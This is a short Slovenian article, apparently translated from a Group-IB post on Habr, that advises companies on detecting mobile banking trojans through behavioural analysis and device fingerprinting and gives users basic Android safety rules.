Da bi podjetja zaščitila svoje stranke pred grožnjami mobilnih trojancev, morajo uporabljati celovite rešitve, ki jim omogočajo spremljanje in preprečevanje zlonamernih dejavnosti brez nameščanja dodatne programske opreme na uporabniške naprave.

Da bi to naredili, je treba podpisne metode za odkrivanje mobilnih trojancev okrepiti s tehnologijami za analizo vedenja odjemalca in same aplikacije. Zaščita naj bi vključevala tudi funkcijo identifikacije naprave s tehnologijo digitalnega prstnega odtisa, ki bo omogočala razumevanje, kdaj se račun uporablja z netipične naprave in je že padel v roke goljufu.

Bistveno pomembna točka je razpoložljivost medkanalne analize, ki podjetjem omogoča nadzor nad tveganji, ki nastajajo ne samo na internetu, ampak tudi na mobilnem kanalu, na primer v aplikacijah za mobilno bančništvo, za transakcije s kriptovalutami in drugih, kjer transakcije se lahko izvajajo finančna transakcija.

Varnostna pravila za uporabnike:

  • ne nameščajte aplikacij za mobilno napravo z operacijskim sistemom Android iz drugih virov razen Google Play, bodite posebno pozorni na pravice, ki jih zahteva aplikacija;
  • redno nameščajte posodobitve OS Android;
  • bodite pozorni na razširitve prenesenih datotek;
  • ne obiskujte sumljivih virov;
  • Ne klikajte na povezave, prejete v SMS sporočilih.

Igranje v glavni vlogi Semjona Rogačeva, mlajši specialist za raziskave zlonamerne programske opreme v Laboratoriju za računalniško forenziko Group-IB.

Vir: www.habr.com

Dodaj komentar